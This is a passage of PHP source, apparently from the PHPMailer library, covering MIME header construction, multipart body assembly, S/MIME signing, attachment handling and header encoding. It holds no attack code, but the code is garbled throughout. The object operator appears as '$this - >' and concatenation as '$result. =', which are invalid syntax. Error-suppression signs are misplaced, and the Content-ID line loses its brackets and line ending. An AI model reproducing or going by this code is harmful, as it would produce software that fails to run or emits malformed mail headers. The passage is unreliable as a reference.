  4099.                     $result. = $this - > headerLine('MIME-Version', '1.0');
  4100.  
  4101.                     $result. = $this - > getMailMIME();
  4102.  
  4103.                 }
  4104.  
  4105.                 return $result;
  4106.  
  4107.             }
  4108.  
  4109.             public
  4110.  
  4111.  
  4112.  
  4113.             function getMailMIME()
  4114.  
  4115.             {
  4116.  
  4117.                 $result = '';
  4118.  
  4119.                 $ismultipart = true;
  4120.  
  4121.                 switch($this - > message_type)
  4122.  
  4123.                 {
  4124.  
  4125.                     case 'inline':
  4126.  
  4127.                         $result. = $this - > headerLine('Content-Type', 'multipart/related;');
  4128.  
  4129.                         $result. = $this - > textLine("\tboundary=\"".$this - > boundary[1].
  4130.  
  4131.                             '"');
  4132.  
  4133.                         break;
  4134.  
  4135.                     case 'attach':
  4136.  
  4137.                     case 'inline_attach':
  4138.  
  4139.                     case 'alt_attach':
  4140.  
  4141.                     case 'alt_inline_attach':
  4142.  
  4143.                         $result. = $this - > headerLine('Content-Type', 'multipart/mixed;');
  4144.  
  4145.                         $result. = $this - > textLine("\tboundary=\"".$this - > boundary[1].
  4146.  
  4147.                             '"');
  4148.  
  4149.                         break;
  4150.  
  4151.                     case 'alt':
  4152.  
  4153.                     case 'alt_inline':
  4154.  
  4155.                         $result. = $this - > headerLine('Content-Type', 'multipart/alternative;');
  4156.  
  4157.                         $result. = $this - > textLine("\tboundary=\"".$this - > boundary[1].
  4158.  
  4159.                             '"');
  4160.  
  4161.                         break;
  4162.  
  4163.                     default:
  4164.  
  4165.                         // Catches case 'plain': and case '':
  4166.  
  4167.                         $result. = $this - > textLine('Content-Type: '.$this - > ContentType.
  4168.  
  4169.                             '; charset='.$this - > CharSet);
  4170.  
  4171.                         $ismultipart = false;
  4172.  
  4173.                         break;
  4174.  
  4175.                 }
  4176.  
  4177.                 // RFC1341 part 5 says 7bit is assumed if not specified
  4178.  
  4179.                 if($this - > Encoding != '7bit')
  4180.  
  4181.                 {
  4182.  
  4183.                     // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  4184.  
  4185.                     if($ismultipart)
  4186.  
  4187.                     {
  4188.  
  4189.                         if($this - > Encoding == '8bit')
  4190.  
  4191.                         {
  4192.  
  4193.                             $result. = $this - > headerLine('Content-Transfer-Encoding', '8bit');
  4194.  
  4195.                         }
  4196.  
  4197.                         // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  4198.  
  4199.                     }
  4200.  
  4201.                     else
  4202.  
  4203.                     {
  4204.  
  4205.                         $result. = $this - > headerLine('Content-Transfer-Encoding', $this - > Encoding);
  4206.  
  4207.                     }
  4208.  
  4209.                 }
  4210.  
  4211.                 if($this - > Mailer != 'mail')
  4212.  
  4213.                 {
  4214.  
  4215.                     $result. = $this - > LE;
  4216.  
  4217.                 }
  4218.  
  4219.                 return $result;
  4220.  
  4221.             }
  4222.  
  4223.             public
  4224.  
  4225.  
  4226.  
  4227.             function getSentMIMEMessage()
  4228.  
  4229.             {
  4230.  
  4231.                 return $this - > MIMEHeader.$this - > mailHeader.self::CRLF.$this - > MIMEBody;
  4232.  
  4233.             }
  4234.  
  4235.  
  4236.  
  4237.             public
  4238.  
  4239.  
  4240.  
  4241.             function createBody()
  4242.  
  4243.             {
  4244.  
  4245.                 $body = '';
  4246.  
  4247.                 if($this - > sign_key_file)
  4248.  
  4249.                 {
  4250.  
  4251.                     $body. = $this - > getMailMIME().$this - > LE;
  4252.  
  4253.                 }
  4254.  
  4255.                 $this - > setWordWrap();
  4256.  
  4257.                 $bodyEncoding = $this - > Encoding;
  4258.  
  4259.                 $bodyCharSet = $this - > CharSet;
  4260.  
  4261.                 if($bodyEncoding == '8bit'
  4262.  
  4263.                     and!$this - > has8bitChars($this - > Body))
  4264.  
  4265.                 {
  4266.  
  4267.                     $bodyEncoding = '7bit';
  4268.  
  4269.                     $bodyCharSet = 'us-ascii';
  4270.  
  4271.                 }
  4272.  
  4273.                 $altBodyEncoding = $this - > Encoding;
  4274.  
  4275.                 $altBodyCharSet = $this - > CharSet;
  4276.  
  4277.                 if($altBodyEncoding == '8bit'
  4278.  
  4279.                     and!$this - > has8bitChars($this - > AltBody))
  4280.  
  4281.                 {
  4282.  
  4283.                     $altBodyEncoding = '7bit';
  4284.  
  4285.                     $altBodyCharSet = 'us-ascii';
  4286.  
  4287.                 }
  4288.  
  4289.                 switch($this - > message_type)
  4290.  
  4291.                 {
  4292.  
  4293.                     case 'inline':
  4294.  
  4295.                         $body. = $this - > getBoundary($this - > boundary[1], $bodyCharSet, '', $bodyEncoding);
  4296.  
  4297.                         $body. = $this - > encodeString($this - > Body, $bodyEncoding);
  4298.  
  4299.                         $body. = $this - > LE.$this - > LE;
  4300.  
  4301.                         $body. = $this - > attachAll('inline', $this - > boundary[1]);
  4302.  
  4303.                         break;
  4304.  
  4305.                     case 'attach':
  4306.  
  4307.                         $body. = $this - > getBoundary($this - > boundary[1], $bodyCharSet, '', $bodyEncoding);
  4308.  
  4309.                         $body. = $this - > encodeString($this - > Body, $bodyEncoding);
  4310.  
  4311.                         $body. = $this - > LE.$this - > LE;
  4312.  
  4313.                         $body. = $this - > attachAll('attachment', $this - > boundary[1]);
  4314.  
  4315.                         break;
  4316.  
  4317.                     case 'inline_attach':
  4318.  
  4319.                         $body. = $this - > textLine('--'.$this - > boundary[1]);
  4320.  
  4321.                         $body. = $this - > headerLine('Content-Type', 'multipart/related;');
  4322.  
  4323.                         $body. = $this - > textLine("\tboundary=\"".$this - > boundary[2].
  4324.  
  4325.                             '"');
  4326.  
  4327.                         $body. = $this - > LE;
  4328.  
  4329.                         $body. = $this - > getBoundary($this - > boundary[2], $bodyCharSet, '', $bodyEncoding);
  4330.  
  4331.                         $body. = $this - > encodeString($this - > Body, $bodyEncoding);
  4332.  
  4333.                         $body. = $this - > LE.$this - > LE;
  4334.  
  4335.                         $body. = $this - > attachAll('inline', $this - > boundary[2]);
  4336.  
  4337.                         $body. = $this - > LE;
  4338.  
  4339.                         $body. = $this - > attachAll('attachment', $this - > boundary[1]);
  4340.  
  4341.                         break;
  4342.  
  4343.                     case 'alt':
  4344.  
  4345.                         $body. = $this - > getBoundary($this - > boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  4346.  
  4347.                         $body. = $this - > encodeString($this - > AltBody, $altBodyEncoding);
  4348.  
  4349.                         $body. = $this - > LE.$this - > LE;
  4350.  
  4351.                         $body. = $this - > getBoundary($this - > boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  4352.  
  4353.                         $body. = $this - > encodeString($this - > Body, $bodyEncoding);
  4354.  
  4355.                         $body. = $this - > LE.$this - > LE;
  4356.  
  4357.                         if(!empty($this - > Ical))
  4358.  
  4359.                         {
  4360.  
  4361.                             $body. = $this - > getBoundary($this - > boundary[1], '', 'text/calendar; method=REQUEST', '');
  4362.  
  4363.                             $body. = $this - > encodeString($this - > Ical, $this - > Encoding);
  4364.  
  4365.                             $body. = $this - > LE.$this - > LE;
  4366.  
  4367.                         }
  4368.  
  4369.                         $body. = $this - > endBoundary($this - > boundary[1]);
  4370.  
  4371.                         break;
  4372.  
  4373.                     case 'alt_inline':
  4374.  
  4375.                         $body. = $this - > getBoundary($this - > boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  4376.  
  4377.                         $body. = $this - > encodeString($this - > AltBody, $altBodyEncoding);
  4378.  
  4379.                         $body. = $this - > LE.$this - > LE;
  4380.  
  4381.                         $body. = $this - > textLine('--'.$this - > boundary[1]);
  4382.  
  4383.                         $body. = $this - > headerLine('Content-Type', 'multipart/related;');
  4384.  
  4385.                         $body. = $this - > textLine("\tboundary=\"".$this - > boundary[2].
  4386.  
  4387.                             '"');
  4388.  
  4389.                         $body. = $this - > LE;
  4390.  
  4391.                         $body. = $this - > getBoundary($this - > boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  4392.  
  4393.                         $body. = $this - > encodeString($this - > Body, $bodyEncoding);
  4394.  
  4395.                         $body. = $this - > LE.$this - > LE;
  4396.  
  4397.                         $body. = $this - > attachAll('inline', $this - > boundary[2]);
  4398.  
  4399.                         $body. = $this - > LE;
  4400.  
  4401.                         $body. = $this - > endBoundary($this - > boundary[1]);
  4402.  
  4403.                         break;
  4404.  
  4405.                     case 'alt_attach':
  4406.  
  4407.                         $body. = $this - > textLine('--'.$this - > boundary[1]);
  4408.  
  4409.                         $body. = $this - > headerLine('Content-Type', 'multipart/alternative;');
  4410.  
  4411.                         $body. = $this - > textLine("\tboundary=\"".$this - > boundary[2].
  4412.  
  4413.                             '"');
  4414.  
  4415.                         $body. = $this - > LE;
  4416.  
  4417.                         $body. = $this - > getBoundary($this - > boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  4418.  
  4419.                         $body. = $this - > encodeString($this - > AltBody, $altBodyEncoding);
  4420.  
  4421.                         $body. = $this - > LE.$this - > LE;
  4422.  
  4423.                         $body. = $this - > getBoundary($this - > boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  4424.  
  4425.                         $body. = $this - > encodeString($this - > Body, $bodyEncoding);
  4426.  
  4427.                         $body. = $this - > LE.$this - > LE;
  4428.  
  4429.                         $body. = $this - > endBoundary($this - > boundary[2]);
  4430.  
  4431.                         $body. = $this - > LE;
  4432.  
  4433.                         $body. = $this - > attachAll('attachment', $this - > boundary[1]);
  4434.  
  4435.                         break;
  4436.  
  4437.                     case 'alt_inline_attach':
  4438.  
  4439.                         $body. = $this - > textLine('--'.$this - > boundary[1]);
  4440.  
  4441.                         $body. = $this - > headerLine('Content-Type', 'multipart/alternative;');
  4442.  
  4443.                         $body. = $this - > textLine("\tboundary=\"".$this - > boundary[2].
  4444.  
  4445.                             '"');
  4446.  
  4447.                         $body. = $this - > LE;
  4448.  
  4449.                         $body. = $this - > getBoundary($this - > boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  4450.  
  4451.                         $body. = $this - > encodeString($this - > AltBody, $altBodyEncoding);
  4452.  
  4453.                         $body. = $this - > LE.$this - > LE;
  4454.  
  4455.                         $body. = $this - > textLine('--'.$this - > boundary[2]);
  4456.  
  4457.                         $body. = $this - > headerLine('Content-Type', 'multipart/related;');
  4458.  
  4459.                         $body. = $this - > textLine("\tboundary=\"".$this - > boundary[3].
  4460.  
  4461.                             '"');
  4462.  
  4463.                         $body. = $this - > LE;
  4464.  
  4465.                         $body. = $this - > getBoundary($this - > boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  4466.  
  4467.                         $body. = $this - > encodeString($this - > Body, $bodyEncoding);
  4468.  
  4469.                         $body. = $this - > LE.$this - > LE;
  4470.  
  4471.                         $body. = $this - > attachAll('inline', $this - > boundary[3]);
  4472.  
  4473.                         $body. = $this - > LE;
  4474.  
  4475.                         $body. = $this - > endBoundary($this - > boundary[2]);
  4476.  
  4477.                         $body. = $this - > LE;
  4478.  
  4479.                         $body. = $this - > attachAll('attachment', $this - > boundary[1]);
  4480.  
  4481.                         break;
  4482.  
  4483.                     default:
  4484.  
  4485.                         // catch case 'plain' and case ''
  4486.  
  4487.                         $body. = $this - > encodeString($this - > Body, $bodyEncoding);
  4488.  
  4489.                         break;
  4490.  
  4491.                 }
  4492.  
  4493.                 if($this - > isError())
  4494.  
  4495.                 {
  4496.  
  4497.                     $body = '';
  4498.  
  4499.                 }
  4500.  
  4501.                 elseif($this - > sign_key_file)
  4502.  
  4503.                 {
  4504.  
  4505.                     try
  4506.  
  4507.                     {
  4508.  
  4509.                         if(!defined('PKCS7_TEXT'))
  4510.  
  4511.                         {
  4512.  
  4513.                             throw new phpmailerException($this - > lang('signing').
  4514.  
  4515.                                 ' OpenSSL extension missing.');
  4516.  
  4517.                         }
  4518.  
  4519.                         // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  4520.  
  4521.                         $file = tempnam(sys_get_temp_dir(), 'mail');
  4522.  
  4523.                         if(false === file_put_contents($file, $body))
  4524.  
  4525.                         {
  4526.  
  4527.                             throw new phpmailerException($this - > lang('signing').
  4528.  
  4529.                                 ' Could not write temp file');
  4530.  
  4531.                         }
  4532.  
  4533.                         $signed = tempnam(sys_get_temp_dir(), 'signed');
  4534.  
  4535.                         if(@openssl_pkcs7_sign(
  4536.  
  4537.                                 $file,
  4538.  
  4539.                                 $signed,
  4540.  
  4541.                                 'file://'.realpath($this - > sign_cert_file),
  4542.  
  4543.                                 array('file://'.realpath($this - > sign_key_file), $this - > sign_key_pass),
  4544.  
  4545.                                 null
  4546.  
  4547.                             ))
  4548.  
  4549.                         {@
  4550.  
  4551.                             unlink($file);
  4552.  
  4553.                             $body = file_get_contents($signed);@
  4554.  
  4555.                             unlink($signed);
  4556.  
  4557.                         }
  4558.  
  4559.                         else
  4560.  
  4561.                         {@
  4562.  
  4563.                             unlink($file);@
  4564.  
  4565.                             unlink($signed);
  4566.  
  4567.                             throw new phpmailerException($this - > lang('signing').openssl_error_string());
  4568.  
  4569.                         }
  4570.  
  4571.                     }
  4572.  
  4573.                     catch(phpmailerException $exc)
  4574.  
  4575.                     {
  4576.  
  4577.                         $body = '';
  4578.  
  4579.                         if($this - > exceptions)
  4580.  
  4581.                         {
  4582.  
  4583.                             throw $exc;
  4584.  
  4585.                         }
  4586.  
  4587.                     }
  4588.  
  4589.                 }
  4590.  
  4591.                 return $body;
  4592.  
  4593.             }
  4594.  
  4595.             protected
  4596.  
  4597.  
  4598.  
  4599.             function getBoundary($boundary, $charSet, $contentType, $encoding)
  4600.  
  4601.             {
  4602.  
  4603.                 $result = '';
  4604.  
  4605.                 if($charSet == '')
  4606.  
  4607.                 {
  4608.  
  4609.                     $charSet = $this - > CharSet;
  4610.  
  4611.                 }
  4612.  
  4613.                 if($contentType == '')
  4614.  
  4615.                 {
  4616.  
  4617.                     $contentType = $this - > ContentType;
  4618.  
  4619.                 }
  4620.  
  4621.                 if($encoding == '')
  4622.  
  4623.                 {
  4624.  
  4625.                     $encoding = $this - > Encoding;
  4626.  
  4627.                 }
  4628.  
  4629.                 $result. = $this - > textLine('--'.$boundary);
  4630.  
  4631.                 $result. = sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  4632.  
  4633.                 $result. = $this - > LE;
  4634.  
  4635.                 // RFC1341 part 5 says 7bit is assumed if not specified
  4636.  
  4637.                 if($encoding != '7bit')
  4638.  
  4639.                 {
  4640.  
  4641.                     $result. = $this - > headerLine('Content-Transfer-Encoding', $encoding);
  4642.  
  4643.                 }
  4644.  
  4645.                 $result. = $this - > LE;
  4646.  
  4647.                 return $result;
  4648.  
  4649.             }
  4650.  
  4651.             protected
  4652.  
  4653.  
  4654.  
  4655.             function endBoundary($boundary)
  4656.  
  4657.             {
  4658.  
  4659.                 return $this - > LE.
  4660.  
  4661.                 '--'.$boundary.
  4662.  
  4663.                 '--'.$this - > LE;
  4664.  
  4665.             }
  4666.  
  4667.             protected
  4668.  
  4669.  
  4670.  
  4671.             function setMessageType()
  4672.  
  4673.             {
  4674.  
  4675.                 $type = array();
  4676.  
  4677.                 if($this - > alternativeExists())
  4678.  
  4679.                 {
  4680.  
  4681.                     $type[] = 'alt';
  4682.  
  4683.                 }
  4684.  
  4685.                 if($this - > inlineImageExists())
  4686.  
  4687.                 {
  4688.  
  4689.                     $type[] = 'inline';
  4690.  
  4691.                 }
  4692.  
  4693.                 if($this - > attachmentExists())
  4694.  
  4695.                 {
  4696.  
  4697.                     $type[] = 'attach';
  4698.  
  4699.                 }
  4700.  
  4701.                 $this - > message_type = implode('_', $type);
  4702.  
  4703.                 if($this - > message_type == '')
  4704.  
  4705.                 {
  4706.  
  4707.                     $this - > message_type = 'plain';
  4708.  
  4709.                 }
  4710.  
  4711.             }
  4712.  
  4713.             public
  4714.  
  4715.  
  4716.  
  4717.             function headerLine($name, $value)
  4718.  
  4719.             {
  4720.  
  4721.                 return $name.
  4722.  
  4723.                 ': '.$value.$this - > LE;
  4724.  
  4725.             }
  4726.  
  4727.             public
  4728.  
  4729.  
  4730.  
  4731.             function textLine($value)
  4732.  
  4733.             {
  4734.  
  4735.                 return $value.$this - > LE;
  4736.  
  4737.             }
  4738.  
  4739.             public
  4740.  
  4741.  
  4742.  
  4743.             function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  4744.  
  4745.             {
  4746.  
  4747.                 try
  4748.  
  4749.                 {
  4750.  
  4751.                     if(!@is_file($path))
  4752.  
  4753.                     {
  4754.  
  4755.                         throw new phpmailerException($this - > lang('file_access').$path, self::STOP_CONTINUE);
  4756.  
  4757.                     }
  4758.  
  4759.                     // If a MIME type is not specified, try to work it out from the file name
  4760.  
  4761.                     if($type == '')
  4762.  
  4763.                     {
  4764.  
  4765.                         $type = self::filenameToType($path);
  4766.  
  4767.                     }
  4768.  
  4769.                     $filename = basename($path);
  4770.  
  4771.                     if($name == '')
  4772.  
  4773.                     {
  4774.  
  4775.                         $name = $filename;
  4776.  
  4777.                     }
  4778.  
  4779.                     $this - > attachment[] = array(
  4780.  
  4781.                         0 => $path,
  4782.  
  4783.                         1 => $filename,
  4784.  
  4785.                         2 => $name,
  4786.  
  4787.                         3 => $encoding,
  4788.  
  4789.                         4 => $type,
  4790.  
  4791.                         5 => false, // isStringAttachment
  4792.  
  4793.                         6 => $disposition,
  4794.  
  4795.                         7 => 0
  4796.  
  4797.                     );
  4798.  
  4799.                 }
  4800.  
  4801.                 catch(phpmailerException $exc)
  4802.  
  4803.                 {
  4804.  
  4805.                     $this - > setError($exc - > getMessage());
  4806.  
  4807.                     $this - > edebug($exc - > getMessage());
  4808.  
  4809.                     if($this - > exceptions)
  4810.  
  4811.                     {
  4812.  
  4813.                         throw $exc;
  4814.  
  4815.                     }
  4816.  
  4817.                     return false;
  4818.  
  4819.                 }
  4820.  
  4821.                 return true;
  4822.  
  4823.             }
  4824.  
  4825.             public
  4826.  
  4827.  
  4828.  
  4829.             function getAttachments()
  4830.  
  4831.             {
  4832.  
  4833.                 return $this - > attachment;
  4834.  
  4835.             }
  4836.  
  4837.             protected
  4838.  
  4839.  
  4840.  
  4841.             function attachAll($disposition_type, $boundary)
  4842.  
  4843.             {
  4844.  
  4845.                 // Return text of body
  4846.  
  4847.                 $mime = array();
  4848.  
  4849.                 $cidUniq = array();
  4850.  
  4851.                 $incl = array();
  4852.  
  4853.                 // Add all attachments
  4854.  
  4855.                 foreach($this - > attachment as $attachment)
  4856.  
  4857.                 {
  4858.  
  4859.                     // Check if it is a valid disposition_filter
  4860.  
  4861.                     if($attachment[6] == $disposition_type)
  4862.  
  4863.                     {
  4864.  
  4865.                         // Check for string attachment
  4866.  
  4867.                         $string = '';
  4868.  
  4869.                         $path = '';
  4870.  
  4871.                         $bString = $attachment[5];
  4872.  
  4873.                         if($bString)
  4874.  
  4875.                         {
  4876.  
  4877.                             $string = $attachment[0];
  4878.  
  4879.                         }
  4880.  
  4881.                         else
  4882.  
  4883.                         {
  4884.  
  4885.                             $path = $attachment[0];
  4886.  
  4887.                         }
  4888.  
  4889.                         $inclhash = md5(serialize($attachment));
  4890.  
  4891.                         if(in_array($inclhash, $incl))
  4892.  
  4893.                         {
  4894.  
  4895.                             continue;
  4896.  
  4897.                         }
  4898.  
  4899.                         $incl[] = $inclhash;
  4900.  
  4901.                         $name = $attachment[2];
  4902.  
  4903.                         $encoding = $attachment[3];
  4904.  
  4905.                         $type = $attachment[4];
  4906.  
  4907.                         $disposition = $attachment[6];
  4908.  
  4909.                         $cid = $attachment[7];
  4910.  
  4911.                         if($disposition == 'inline' && isset($cidUniq[$cid]))
  4912.  
  4913.                         {
  4914.  
  4915.                             continue;
  4916.  
  4917.                         }
  4918.  
  4919.                         $cidUniq[$cid] = true;
  4920.  
  4921.                         $mime[] = sprintf('--%s%s', $boundary, $this - > LE);
  4922.  
  4923.                         $mime[] = sprintf(
  4924.  
  4925.                             'Content-Type: %s; name="%s"%s',
  4926.  
  4927.                             $type,
  4928.  
  4929.                             $this - > encodeHeader($this - > secureHeader($name)),
  4930.  
  4931.                             $this - > LE
  4932.  
  4933.                         );
  4934.  
  4935.                         // RFC1341 part 5 says 7bit is assumed if not specified
  4936.  
  4937.                         if($encoding != '7bit')
  4938.  
  4939.                         {
  4940.  
  4941.                             $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this - > LE);
  4942.  
  4943.                         }
  4944.  
  4945.                         if($disposition == 'inline')
  4946.  
  4947.                         {
  4948.  
  4949.                             $mime[] = sprintf('Content-ID: %s', $cid, $this - > LE);
  4950.  
  4951.                         }
  4952.  
  4953.                         // If a filename contains any of these chars, it should be quoted,
  4954.  
  4955.                         // but not otherwise: RFC2183 & RFC2045 5.1
  4956.  
  4957.                         // Fixes a warning in IETF's msglint MIME checker
  4958.  
  4959.                         // Allow for bypassing the Content-Disposition header totally
  4960.  
  4961.                         if(!(empty($disposition)))
  4962.  
  4963.                         {
  4964.  
  4965.                             $encoded_name = $this - > encodeHeader($this - > secureHeader($name));
  4966.  
  4967.                             if(preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name))
  4968.  
  4969.                             {
  4970.  
  4971.                                 $mime[] = sprintf(
  4972.  
  4973.                                     'Content-Disposition: %s; filename="%s"%s',
  4974.  
  4975.                                     $disposition,
  4976.  
  4977.                                     $encoded_name,
  4978.  
  4979.                                     $this - > LE.$this - > LE
  4980.  
  4981.                                 );
  4982.  
  4983.                             }
  4984.  
  4985.                             else
  4986.  
  4987.                             {
  4988.  
  4989.                                 $mime[] = sprintf(
  4990.  
  4991.                                     'Content-Disposition: %s; filename=%s%s',
  4992.  
  4993.                                     $disposition,
  4994.  
  4995.                                     $encoded_name,
  4996.  
  4997.                                     $this - > LE.$this - > LE
  4998.  
  4999.                                 );
  5000.  
  5001.                             }
  5002.  
  5003.                         }
  5004.  
  5005.                         else
  5006.  
  5007.                         {
  5008.  
  5009.                             $mime[] = $this - > LE;
  5010.  
  5011.                         }
  5012.  
  5013.                         // Encode as string attachment
  5014.  
  5015.                         if($bString)
  5016.  
  5017.                         {
  5018.  
  5019.                             $mime[] = $this - > encodeString($string, $encoding);
  5020.  
  5021.                             if($this - > isError())
  5022.  
  5023.                             {
  5024.  
  5025.                                 return '';
  5026.  
  5027.                             }
  5028.  
  5029.                             $mime[] = $this - > LE.$this - > LE;
  5030.  
  5031.                         }
  5032.  
  5033.                         else
  5034.  
  5035.                         {
  5036.  
  5037.                             $mime[] = $this - > encodeFile($path, $encoding);
  5038.  
  5039.                             if($this - > isError())
  5040.  
  5041.                             {
  5042.  
  5043.                                 return '';
  5044.  
  5045.                             }
  5046.  
  5047.                             $mime[] = $this - > LE.$this - > LE;
  5048.  
  5049.                         }
  5050.  
  5051.                     }
  5052.  
  5053.                 }
  5054.  
  5055.                 $mime[] = sprintf('--%s--%s', $boundary, $this - > LE);
  5056.  
  5057.                 return implode('', $mime);
  5058.  
  5059.             }
  5060.  
  5061.             protected
  5062.  
  5063.  
  5064.  
  5065.             function encodeFile($path, $encoding = 'base64')
  5066.  
  5067.             {
  5068.  
  5069.                 try
  5070.  
  5071.                 {
  5072.  
  5073.                     if(!is_readable($path))
  5074.  
  5075.                     {
  5076.  
  5077.                         throw new phpmailerException($this - > lang('file_open').$path, self::STOP_CONTINUE);
  5078.  
  5079.                     }
  5080.  
  5081.                     $magic_quotes = get_magic_quotes_runtime();
  5082.  
  5083.                     if($magic_quotes)
  5084.  
  5085.                     {
  5086.  
  5087.                         if(version_compare(PHP_VERSION, '5.3.0', '<'))
  5088.  
  5089.                         {
  5090.  
  5091.                             set_magic_quotes_runtime(false);
  5092.  
  5093.                         }
  5094.  
  5095.                         else
  5096.  
  5097.                         {
  5098.  
  5099.                             ini_set('magic_quotes_runtime', 0);
  5100.  
  5101.                         }
  5102.  
  5103.                     }
  5104.  
  5105.                     $file_buffer = file_get_contents($path);
  5106.  
  5107.                     $file_buffer = $this - > encodeString($file_buffer, $encoding);
  5108.  
  5109.                     if($magic_quotes)
  5110.  
  5111.                     {
  5112.  
  5113.                         if(version_compare(PHP_VERSION, '5.3.0', '<'))
  5114.  
  5115.                         {
  5116.  
  5117.                             set_magic_quotes_runtime($magic_quotes);
  5118.  
  5119.                         }
  5120.  
  5121.                         else
  5122.  
  5123.                         {
  5124.  
  5125.                             ini_set('magic_quotes_runtime', ($magic_quotes ? '1' : '0'));
  5126.  
  5127.                         }
  5128.  
  5129.                     }
  5130.  
  5131.                     return $file_buffer;
  5132.  
  5133.                 }
  5134.  
  5135.                 catch(Exception $exc)
  5136.  
  5137.                 {
  5138.  
  5139.                     $this - > setError($exc - > getMessage());
  5140.  
  5141.                     return '';
  5142.  
  5143.                 }
  5144.  
  5145.             }
  5146.  
  5147.             public
  5148.  
  5149.  
  5150.  
  5151.             function encodeString($str, $encoding = 'base64')
  5152.  
  5153.             {
  5154.  
  5155.                 $encoded = '';
  5156.  
  5157.                 switch(strtolower($encoding))
  5158.  
  5159.                 {
  5160.  
  5161.                     case 'base64':
  5162.  
  5163.                         $encoded = chunk_split(base64_encode($str), 76, $this - > LE);
  5164.  
  5165.                         break;
  5166.  
  5167.                     case '7bit':
  5168.  
  5169.                     case '8bit':
  5170.  
  5171.                         $encoded = $this - > fixEOL($str);
  5172.  
  5173.                         // Make sure it ends with a line break
  5174.  
  5175.                         if(substr($encoded, -(strlen($this - > LE))) != $this - > LE)
  5176.  
  5177.                         {
  5178.  
  5179.                             $encoded. = $this - > LE;
  5180.  
  5181.                         }
  5182.  
  5183.                         break;
  5184.  
  5185.                     case 'binary':
  5186.  
  5187.                         $encoded = $str;
  5188.  
  5189.                         break;
  5190.  
  5191.                     case 'quoted-printable':
  5192.  
  5193.                         $encoded = $this - > encodeQP($str);
  5194.  
  5195.                         break;
  5196.  
  5197.                     default:
  5198.  
  5199.                         $this - > setError($this - > lang('encoding').$encoding);
  5200.  
  5201.                         break;
  5202.  
  5203.                 }
  5204.  
  5205.                 return $encoded;
  5206.  
  5207.             }
  5208.  
  5209.             public
  5210.  
  5211.  
  5212.  
  5213.             function encodeHeader($str, $position = 'text')
  5214.  
  5215.             {
  5216.  
  5217.                 $matchcount = 0;
  5218.  
  5219.                 switch(strtolower($position))
  5220.  
  5221.                 {
  5222.  
  5223.                     case 'phrase':
  5224.  
  5225.                         if(!preg_match('/[\200-\377]/', $str))
  5226.  
  5227.                         {
  5228.  
  5229.                             // Can't use addslashes as we don't know the value of magic_quotes_sybase
  5230.  
  5231.                             $encoded = addcslashes($str, "\0..\37\177\\\"");
  5232.  
  5233.                             if(($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str))
  5234.  
  5235.                             {
  5236.  
  5237.                                 return($encoded);
  5238.  
  5239.                             }
  5240.  
  5241.                             else
  5242.  
  5243.                             {
  5244.  
  5245.                                 return("\"$encoded\"");
  5246.  
  5247.                             }
  5248.  
  5249.                         }
  5250.  
  5251.                         $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  5252.  
  5253.                         break;
  5254.  
  5255.                         /** @noinspection PhpMissingBreakStatementInspection */
  5256.  
  5257.                     case 'comment':
  5258.  
  5259.                         $matchcount = preg_match_all('/[()"]/', $str, $matches);
  5260.  
  5261.                         // Intentional fall-through
  5262.  
  5263.                     case 'text':
  5264.  
  5265.                     default:
  5266.  
  5267.                         $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  5268.  
  5269.                         break;
  5270.  
  5271.                 }
  5272.  
  5273.                 if($matchcount == 0)
  5274.  
  5275.                 { // There are no chars that need encoding
  5276.  
  5277.                     return($str);
  5278.  
  5279.                 }
  5280.  
  5281.                 $maxlen = 75 - 7 - strlen($this - > CharSet);
  5282.  
  5283.                 // Try to select the encoding which should produce the shortest output
  5284.  
  5285.                 if($matchcount > strlen($str) / 3)
  5286.  
  5287.                 {
  5288.  
  5289.                     // More than a third of the content will need encoding, so B encoding will be most efficient
  5290.  
  5291.                     $encoding = 'B';
  5292.  
  5293.                     if(function_exists('mb_strlen') && $this - > hasMultiBytes($str))
  5294.  
  5295.                     {
  5296.  
  5297.                         $encoded = $this - > base64EncodeWrapMB($str, "\n");
  5298.  
  5299.                     }
  5300.  
  5301.                     else
  5302.  
  5303.                     {
  5304.  
  5305.                         $encoded = base64_encode($str);
  5306.  
  5307.                         $maxlen -= $maxlen % 4;
  5308.  
  5309.                         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  5310.  
  5311.                     }
  5312.  
  5313.                 }
  5314.  
  5315.                 else
  5316.  
  5317.                 {
  5318.  
  5319.                     $encoding = 'Q';
  5320.  
  5321.                     $encoded = $this - > encodeQ($str, $position);
  5322.  
  5323.                     $encoded = $this - > wrapText($encoded, $maxlen, true);
  5324.  
  5325.                     $encoded = str_replace('='.self::CRLF, "\n", trim($encoded));
  5326.  
  5327.                 }
  5328.  
  5329.                 $encoded = preg_replace('/^(.*)$/m', ' =?'.$this - > CharSet.
  5330.  
  5331.                     "?$encoding?\\1?=", $encoded);
  5332.  
  5333.                 $encoded = trim(str_replace("\n", $this - > LE, $encoded));
  5334.  
  5335.                 return $encoded;
  5336.  
  5337.             }
  5338.  
  5339.  
  5340.  
  5341.             public
  5342.  
  5343.  
  5344.  
  5345.             function hasMultiBytes($str)
  5346.  
  5347.             {
  5348.  
  5349.                 if(function_exists('mb_strlen'))
  5350.  
  5351.                 {
  5352.  
  5353.                     return(strlen($str) > mb_strlen($str, $this - > CharSet));
  5354.  
  5355.                 }
  5356.  
  5357.                 else
  5358.  
  5359.                 { // Assume no multibytes (we can't handle without mbstring functions anyway)
  5360.  
  5361.                     return false;
  5362.  
  5363.                 }
  5364.  
  5365.             }
  5366.  
  5367.  
